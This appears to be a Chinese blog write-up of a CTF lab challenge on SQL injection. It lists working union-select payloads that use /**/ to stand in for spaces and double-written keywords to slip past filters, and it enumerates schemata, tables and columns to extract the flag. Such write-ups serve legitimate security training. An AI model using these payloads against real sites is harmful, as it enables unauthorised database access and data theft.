实验吧-简单的SQL注入

题目来源:

http://ctf5.shiyanbar.com/423/web/

题目

writeup

1、进入页面后,尝试输入1

1
2
发现注入点

2、尝试注入

首先尝试

?id=1'

4

其次,尝试

?id=1 and 1=1

3
15
发现,没有and,且,空格被+替代

  • 知识点:可用/**/,()来替代

进行尝试(这里用/**/来代替空格),再次尝试注入
67
3、尝试爆数据库
89

4、尝试爆表名
1011发现flag

5、尝试爆列名
12结果发现了过滤:
column_nameinformation_schema.columns过滤了

这里尝试双写绕过13发现flag

6、获得flag
14

后话

此题基础,可以根据提示信息发现过滤点~

?id=1'
?id=1 and 1=1
?id=1'/**/and/**/'1'='1
?id=1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
?id=1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
?id=1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.columinformation_schema.columnsns/**/where/**/table_name='flag
?id=1'/**/union/**/select/**/flag/**/where/**/'1'='1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值